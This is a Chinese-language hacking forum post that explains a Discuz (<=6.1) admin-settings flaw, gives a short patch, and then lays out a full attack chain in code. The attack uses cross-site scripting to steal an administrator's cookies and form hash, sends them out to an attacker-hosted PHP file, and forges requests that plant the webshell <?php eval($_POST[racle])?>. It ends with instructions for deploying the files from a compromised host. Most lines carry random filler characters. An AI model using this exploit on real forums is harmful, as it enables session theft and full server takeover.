Discuz XSS得webshell
# l3 \" c" o9 Q. {. u+ R* U- }By racle @tian6.com
! E4 r+ i: R( s9 L, N" l- ]$ h欢迎转帖.但请保留版权信息.
# [- K7 X( {3 @+ u& a! }1 Z6 G* \受影响版本 iscuz<=6.1.0,gbk+utf+big59 L1 D0 `" q% o, v
# A/ S5 r8 s- G" e- T# d) C) A0 o2 P新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.6 C5 H3 y' p/ [+ X/ ?) k
# |" C. [" Z" F# Q/ B' V, N+ h: k( `) ]) m
3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706
* p* l, V( c$ m( c1 U当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.
; k* I% G t9 I4 L
) l( `7 X/ }! P4 }2 a; w* p分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..
3 b N% ?/ T( l1 X本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS5 e) q5 i+ ]; \8 m8 z* G" z
; u3 w9 C' t+ ~1 C6 f4 T7 ?9 s/ ^" V8 K5 W" D2 Y$ G$ E9 `
----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------
" z4 I9 `7 O7 n q2 B$ G+ C6 U2 u+ {; U k; I3 F! O
* ]7 w: g) A' {
problem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.; ^' Y7 M% N# V4 j1 }6 e" ~" e
, ]0 W2 S6 X3 y" h6 @6 i6 nproblem2 ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer." |1 v- ]/ @% t5 U" P1 A% u6 F
, J% ~( s z* _3 G) ?* q/ h, ?problem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.
$ }% @' W) c; ?% v3 [) t$ j+ h6 Z8 `# [7 p0 d% s6 v: h
' o5 C+ o4 h* K* g, j
下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {
, m9 i8 H- N: ?+ J
# }: e" @( e* H1 c+ N% i global $runwizardfile, $runwizardhistory;, T8 e' h# w9 F7 Q6 `4 N
2 M2 N: R* m0 P5 T, ]
$fp = fopen($runwizardfile, 'w');
8 p2 m2 I, d. e* O7 r
# D$ J, Y- G, N7 b( Y fwrite($fp, serialize($runwizardhistory));7 a @9 D! R+ B7 h3 x6 V
% a% o! t) X0 ^* \$ a8 u) Z& Q
fclose($fp);
* Q6 V6 O) x9 Q0 o; y# m/ R7 Q7 j/ k8 e! l
}
5 m5 I7 ?+ f1 p' a/ W7 k8 i复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里." ^+ _, |4 W6 ~, H1 q
以下是修补的办法:function saverunwizardhistory() {+ S1 E% ~ s6 d6 C
6 k7 y2 Q g; `6 e+ e7 q
global $runwizardfile, $runwizardhistory;
# X: D! o: F0 q& Z6 i. u
! ~ D% y$ Z8 S8 Z3 X$ v) k: c $fp = fopen($runwizardfile, 'w');
% S; b3 ?* A! x: S! a
0 w" n3 G6 o" o- H9 v- e0 _ $s = '<?php exit;?>';
- H% c: V$ T$ ]. B* U* o
" q: D; T" V: C3 y* t8 r $s .= serialize($runwizardhistory);
1 b6 q+ i- `1 h3 _: L. J$ `4 ]+ c5 c* I* W
fwrite($fp, $s);
4 _* f: @2 S* |/ d- e7 I
, M; G. c5 `, w; Q5 v* B& ~ fclose($fp);3 w( V+ d$ H6 j+ a0 \
: E$ V- l+ o* L; R+ T
}/ T: n" `% U: E! a% C: H
复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.2 o- t0 q3 L( Q* K
# H9 U$ M$ Y+ O5 ?' P- M
' V6 L* `6 w# k% H0 I; H
$ C# O# i* H1 c |3 F( y4 ^----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------
) p( T! S) U4 y2 d
/ w; @& l' Z% K. e6 \: [5 J e! u: y' f4 j
以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.1 }: J% J# ?" F4 G( b
m0 E; o* q' z2 T2 V5 X) W我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.( n3 @+ j4 E6 p0 j
5 G* H- I1 W+ z( h- d8 I9 g这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.
( J4 n. X9 D) X5 E1 @0 J
! ^3 W! O; `3 V6 J) E [) T首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:
- u! S- e- u2 b$ s7 Z/ t' `6 ^" n4 w# m- K5 d6 z N. S
var url="http://目标网站/admincp.php"; + @ x( G% l; a1 Z7 G* [
8 Y- q2 V9 J0 \" y
/*获得cookies*/. R* B; `7 G6 m' o' [" t
+ o5 U2 Y1 `4 ]2 H& p0 E# ]
function getURL(s) {
6 |; J$ N) }9 ^3 [4 A1 @" X* n( N0 N. u4 R3 E7 q) J( ^3 o. B
var image = new Image();
- p$ V: B' x/ j. z$ t! @$ t( p8 T H! Z! J5 ^5 W2 C: H1 D
image.style.width = 0;( D* m l/ n0 f
9 {: e! R: x# B) w* f
image.style.height = 0;. r1 c) p3 C, W6 R: M2 f
$ W/ L6 d1 s4 q8 _( j2 ]" {$ q* h
image.src = s;& e2 V' _+ n) z5 g6 a4 H( R9 g. T
% N5 f* S# G# }' E- B8 d}
+ R/ u' E% i5 a7 H! f
6 e2 l/ K! x6 L( {getURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie)); //这里就通过image变量传给了php; B% B6 I' g n
复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];3 f* b8 Z6 {% I4 E
复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵) 
% b$ m2 l D% Y m1 N- r4 N: g, i F' O8 x3 E
+ k/ c5 W1 ~+ q& `获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";
; K$ |# _5 a- H
3 V1 o7 F+ M: ~# \. P# z* D2 h i0 X# L n# m- X+ I
* r9 q9 J5 m# Z2 Q" n
/*hash*/( M5 Y9 ]' P% S; J5 F+ N
) C3 T- V* M2 N7 f
var xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");/ F2 }$ J5 [3 C# T
8 j0 T, L% P1 j, y
xmlHttpReq.open("GET", url+"admincp.php?action=home", false);6 t' T, ?5 W% V7 z! r+ Z# j% B3 ~
) C% g( ]. ^! E% h' PxmlHttpReq.send();
+ m3 S/ R6 i* w. X6 j# ^" h0 u8 S
8 D5 ~1 b9 g. dvar resource = xmlHttpReq.responseText;
4 Q t8 k6 q- J! Q- L8 e
3 ~9 r. v! Q% c, B, s9 tvar numero = resource.search(/formhash/);
$ S5 G$ M) K7 a2 o8 o7 y, G5 s- V6 l# w: [( E
var formhash=encodeURIComponent(resource.substr(numero+17,8));2 L5 r: N; R! T7 e: d0 M' e) A( b
! ]. Y1 w1 v1 H, j* |7 K- X
! ~/ }' C+ ^3 a. N5 f3 T( \. p
& J; o8 u V# @+ C9 P3 |% Fvar post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据 % F0 {# |8 [7 {) N8 S3 I
, J: s0 O* Y0 m
xmlHttpReq.open(" OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信
) Q- h0 z: b) L2 G. b) e
& z# b d9 S& V2 TxmlHttpReq.setRequestHeader("Referer", url);
) S4 J* v3 R! h
! l4 M3 s* G j/ z( S7 HxmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");) B* L% k2 A. k4 U8 N& w9 y# ~
9 v& ?; R" l$ |9 a. E
xmlHttpReq.setrequestheader("content-length",post.length);
. [/ p& n: Z! n. B. `) Y. y& ~& I9 g+ A8 t' }2 M4 O! D
xmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded"); x5 {+ U7 X2 k6 l5 X
+ r( F! F7 ^: O1 m2 K: d
xmlHttpReq.send(post);//发送数据
) Z2 ^! E1 e9 p7 F8 n2 R7 g复制代码这里HASH我假设正确,这样提交,也无须cookies" G) x+ J, n# B7 `. m0 }5 ~
% f; v6 E4 {$ y- T7 ~* \; a再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);, d7 L1 H3 T& q
5 f7 ]# n" B) M- s8 k9 }3 Qif (!$sock) die("$errstr ($errno)\n");
+ {! e6 G; z) ^' D! z0 ~# g. Q2 E* r' O; S7 Q
$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';
) i9 X9 Z6 o) O; W0 u$ \, M8 b& ], T/ h S9 t
' g! w& m# J, e8 W3 P1 V0 T- s) E
. ]; r4 a# P& I- ~) ]' c6 J+ Afwrite($sock, " OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");
9 t7 C* U& L* l, o" G1 H
: F; G+ p5 J$ {fwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");
; \1 P F* `0 @ ~5 X
" }! u1 C( e$ o9 {fwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");; `- ~ S) H" ] X3 z' q
& B* V5 d$ ~# ^/ `fwrite($sock, "Accept-Language: zh-cn\r\n");
/ V {6 E' ?) W- I8 v
6 z u. L) H* v: J, s' B+ Q& Rfwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");, L: C6 }( k- b1 ]( k S
4 l! c% a8 P) J9 V2 C
fwrite($sock, "Accept-Encoding: gzip, deflate\r\n");1 T) ]- z' y, N; K. V% I) R% A
! B* g! X2 z. x
fwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");& V* Z4 S/ j- R; N% ~
) q. I i5 i$ T/ k9 p5 L8 w& z
fwrite($sock, "Host: $url\r\n");7 e5 z" P% s" ^, g! d
7 ]/ b# [( Q Q: j
fwrite($sock, "Content-Length: ".strlen($data)."\r\n");* f) q. c$ t' S" b
" y2 l; B- s+ o6 Q8 {1 X3 S) o
fwrite($sock, "Connection: Keep-Alive\r\n");
. O& ~! Y2 Q! Y# X" G* S8 v
5 v- i4 Z) c$ f2 g4 d! Z [0 _8 Nfwrite($sock, "Cache-Control: no-cache\r\n");& D' T. Y5 X) z
6 H+ y2 p( R' l$ e$ p2 z, ?fwrite($sock, "Cookie:".$cookies."\r\n\r\n");" Z6 v2 l: u% S2 o/ |
8 R8 W. K4 T' E( H+ nfwrite($sock, $data);
: {; Q8 ` [5 P9 X9 S1 u* r$ r
& H" V/ z( v% r6 ~& z3 E
: w4 X! k& K9 J; l( }) x1 f# q/ k6 P+ g+ l* O8 @
$headers = "";
6 J5 J- s6 `( X% X* Y) k. j, I$ L0 @' Y0 I. |& l0 B# e
while ($str = trim(fgets($sock, 4096)))
5 e+ f$ }6 o$ i! N7 v- \! P$ b4 L% O) p" A/ I' P6 {
$headers .= "$str\n";7 |- t0 r7 w9 I! ?% x7 @
' {. E+ ]1 Y7 I8 o5 ]echo "\n";: v2 n; w' R' B/ u4 n
7 i9 e) O' d( T! T
$body = "";
* `% g' P& N9 g9 D; h% u
2 V8 \& w2 s3 P! e% k2 m; Twhile (!feof($sock))4 |# U7 K4 P/ L9 N
% }1 J6 K9 O1 @ h# F9 W $body .= fgets($sock, 4096);
. A. V q1 \& y8 B
# A$ n" `) i& F) j2 |4 ~fclose($sock);
& z# j* n! [) H3 I+ e+ {" K$ O6 q# |# ^, k# x: h( A
echo $body;
* z. l% M3 n, V4 Q复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^
2 W! g* n1 O; D7 e h9 P# f& ^' U- U6 e7 v5 B5 s% x3 m0 `0 j" `5 K
, n6 a/ d4 e% X/ b A7 X% q% V' Y-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------' V9 f% \# Z( S9 E M$ Q
! V8 o8 b& Z7 a1 O
# ]- I( N+ o4 _1 HP SOCKET利用方法首先打开racle.js, [' a+ y3 L" h
; i7 t& t( b7 D( m/ E9 f
var url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home
$ e$ R6 R4 X& b; F9 `) e; X& ^" w' K7 R9 l8 L o- p
7 z* v7 B7 D- g% v. j7 v* X) N8 N( P6 N" v0 @6 i1 ^/ z0 _) H
然后打开racle@tian6.php3 X/ e1 {5 A, i1 u
# ]$ J/ s l" [9 u1 `
$url="racle@tian6.com"; //改成你要XSS攻击的目标,譬如www.discuz.com
* `, g3 H: h; ~! x) W7 }' V2 T$ w( o" ~
' X" I4 m$ t6 G) `: Z* ?/ @' Z P& S; E! \5 e1 o; t8 b& v
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
- u7 j, G$ o% R% l' Q! J% l
3 S6 S+ `% [- \0 A+ x) @: UgetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));$ B6 A8 x; j7 O6 I7 J7 z1 H$ F [
, Z3 [( _! I" }9 ?, ?为* k! q+ y/ ?$ M
+ V0 U( a* D0 m% ngetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));
; B ^- X% ? p5 c复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.
, Y1 J! O6 \5 _ v
8 S4 z# x/ K+ Z" L# v% R% |* F
/ K" U8 |9 h8 j [4 E$ G T& v4 C9 v$ h, _0 p
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
" w6 i/ Y+ A. n' b3 b: h# F9 x+ K1 S7 q5 O8 _
var formhash=encodeURIComponent(resource.substr(numero+17,8));
- S9 ~0 l& j) Z# ~2 m4 ~" v5 I' Q( ^- d1 s3 b) _1 P# T" |" \
为; h+ l: c& D w' h% O+ ?$ ?* I) L5 W
8 ]; [& G% P$ \/ r: j& Y8 L
var formhash=encodeURIComponent(resource.substr(numero+9,8));+ ~2 A! L7 R5 e/ M0 r9 J
复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.# @6 U0 k. V9 W, r0 I# g. V
) N* l; h% ]/ z如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.
0 F! Y: o2 o- ^
& z3 J- a0 k( P1 V# U如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.
" F- Z9 X; t2 ]6 |8 k' N
x3 h4 [" V; J5 }不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.( N1 \, z z& p& I+ X
0 [/ V! k4 C5 `3 \+ C2 ^ |